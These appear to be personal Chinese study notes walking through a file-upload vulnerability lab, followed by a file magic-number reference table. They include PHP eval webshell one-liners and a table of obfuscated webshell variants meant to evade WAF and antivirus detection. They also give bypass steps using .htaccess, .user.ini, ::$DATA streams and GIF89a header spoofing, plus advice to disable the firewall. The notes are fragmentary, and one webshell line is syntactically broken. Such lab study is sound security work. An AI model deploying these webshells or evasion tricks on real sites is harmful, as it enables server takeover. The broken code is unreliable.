上传木马：利用文件上传漏洞等方式，将包含上述代码的文件（例如shell.php）上传到目标网站的服务器目录。
发送指令：攻击者通过工具（如蚁剑、中国菜刀）向该文件发送POST请求，请求体中包含要执行的PHP代码，如password=system('whoami');。
执行指令：服务器上的木马文件收到请求后，eval()函数会将system('whoami')当作PHP代码执行，并将结果返回给攻击者。

通过这个流程，攻击者可以间接控制服务器，执行文件管理、系统命令等操作。

🛡️ 如何实现“免杀”与变形？

由于基础形态特征明显，很容易被安全软件（WAF）识别。为了绕过检测，攻击者会使用各种变形技巧来伪装。

|
变形技巧
|
代码示例
|
原理说明

|
| --- | --- | --- |
|
可变变量
|
<?php $a = "eval"; $b = "a"; $$b($_POST['x']); ?>
|
通过PHP的可变变量特性，间接调用eval函数。
|
|
字符串拼接
|
<?php $a = "e"."v"."a"."l"; $a($_POST['x']); ?>
|
将关键函数名拆分成多个字符串再拼接，避免直接出现eval关键字。
|
|
编码隐藏
|
<?php $a = base64_decode("ZXZhbA=="); $a($_POST['x']); ?>
|
将eval进行Base64编码，执行时再解码，绕过基于关键字的检测。
|
|
回调函数
|
<?php @call_user_func("assert", $_POST['x']); ?>
|
使用call_user_func等函数来动态调用assert等危险函数。
|

除了防火墙，还有实时保护WINDOWS关不掉的，关了也会自动启动

所以用之前把火墙关了，或者实时保护；

题外话：

主机配置，和虚拟机配置不一样；IP也就不一样

两个环境不一样

用BP抓包最好不要用，127.0.0.1

虽然能访问到，但是有时候BP抓不到这个包；

开始第一关：

不仅要保证上传而且要保证上传完要访问到；

发现是基于前端的JS进行校验的；可以绕过；我们甚至可以在浏览器中不让它用JS

就BP抓包

把后缀改成PHP

因为访问的时候，没有携带参数值；所以报错

可以通过抓包传参

蚁键默认用的是POST请求

<?php ?> php 限制和过滤（php）===》怎么去让服务器正常的吧你的文件作为php文件执行

第二关

Gif

看你属性值是不是这三者的一个，如果是的话，才执行下面IF判断；否则就是文件类型不正确请重新上传；

这一关是通过content-type属性值开始校验的

有时候清空会把文件夹清理掉，新建即可

<?php eval($_POST['phpinfo'];?>

Phpinfo通常会被用作测试

第三关：apache后缀解析的问题

如果是其中一个就会报错

后缀名没有完全的去过滤掉；我们有些中间件APACHE

把后缀名改成：

上传完之后PHP能不能正常的认为是PHP代码并执行

执行后出现info界面就是OK的

第4关

黑名单非常多

你传没问题，你传上去它执行不了，

目录级别的配置文件

创建一个.htaccess 文件，然后把配置写进去；

然后上传；

成功！！！！！！！

目录级别的APACHE起的作用；

第5关

把.htacess给BAN了；

这一题考的是PHP的目录级别的配置文件

Php.ini(.[user.ini]) 当用户访问当前目录下的某类文件的时候，默认先导入某个文件的内容

比如我现在UPdata下面，

Auto_prepend_file=proof.jpg

使用Phpstudy2018

APACHE下面必须要，跟PHP是通过PHP-fpm；那样的运行方式，这样你的user.ini才可以生效；

尝试切换版本

问AI：如何切换成使用php-fpm

会把文件重命名

这一关是黑名单没有校验全；没有把全是大写的PHP加进去；

后面也没有转小写功能

还有php7;或者phpl

所以说你的黑名单写的再完全，也不可能完全考虑到；

第6关：

·限制大小写，限制点等

加个空格

正常情况下，不显示路径，就只能猜测；

第一个：保证文件能传上去；

第二个：保证你能找到文件

第三个：你去访问文件的路径的时候，还得保证能够被当作php代码执行；

第7关：

和上一关相比，少了一个删除文件名末尾的点

你在文件名后加点本质上还是能被识别为php文件的

依旧执行，完全可以正常识别的

第8关：

刚才的侥幸，在8关就不行了

Windows里面的文件流操作

我们如果想要访问别的文件流的时候，就可以通过默认的数据流也就是真实数据部分

Test.php::$DATA

直接到13关：

它其实就是只校验了你的文件名是不是；我们通过抓包后呢；你可以直接给你的文件前面加一个，GIF89a;这样的话，拿上后就认为是有这个东西的

方法2：

你把改过的JPG文件，

用VSCODE的的16进制编辑器打开；

一般在前面固定的就那几个字符，我就把它叫做magic number; 会根据前面的固定数字，来判断你这个文件，是什么类型的文件；

魔数（Magic Number）是文件头部几个字节的特定序列，用于在操作系统层面快速、准确地识别文件类型，而不依赖于可能被随意修改的文件扩展名。以下是一些常见文件类型的魔数字节（十六进制表示）：

|
文件格式
|
魔数（十六进制）
|
备注

|
| --- | --- | --- |
|
JPEG
|
FF D8 FF
|
常见于JPEG/JFIF格式，部分变体以FF D8 FF E0或FF D8 FF E1开头。
|
|
PNG
|
89 50 4E 47 0D 0A 1A 0A
|
固定8字节。
|
|
GIF
|
47 49 46 38 (GIF8)
|
ASCII码对应字符串 "GIF8"。
|
|
BMP
|
42 4D
|
ASCII码对应字符串 "BM"。
|
|
TIFF
|
49 49 2A 00 或 4D 4D 00 2A
|
分别对应小端序和大端序。
|

📄 文档与压缩文件

|
文件格式
|
魔数（十六进制）
|
备注

|
| --- | --- | --- |
|
PDF
|
25 50 44 46
|
ASCII码对应字符串 "%PDF"。
|
|
ZIP
|
50 4B 03 04
|
ASCII码对应字符串 "PK"。DOCX、XLSX等Office文档也是ZIP容器。
|
|
RAR
|
52 61 72 21
|
ASCII码对应字符串 "Rar!"。
|
|
7-Zip
|
37 7A BC AF 27 1C
|
。
|
|
GZIP
|
1F 8B 08
|
。
|

🎵 音视频文件

|
文件格式
|
魔数（十六进制）
|
备注

|
| --- | --- | --- |
|
MP3
|
49 44 33
|
包含ID3标签的MP3文件。
|
|
WAV
|
52 49 46 46
|
ASCII码对应字符串 "RIFF"。
|
|
AVI
|
52 49 46 46
|
同样以 "RIFF" 开头。
|
|
MP4
|
66 74 79 70 (在偏移量4字节处)
|
ASCII码对应字符串 "ftyp"。
|

⚙️ 可执行文件

|
文件格式
|
魔数（十六进制）
|
备注

|
| --- | --- | --- |
|
Windows EXE/DLL
|
4D 5A
|
ASCII码对应字符串 "MZ"。
|
|
Linux ELF
|
7F 45 4C 46
|
ASCII码对应字符串 "\x7FELF"。
|
|
Java Class
|
CA FE BA BE
|
著名的Java咖啡杯魔数。
|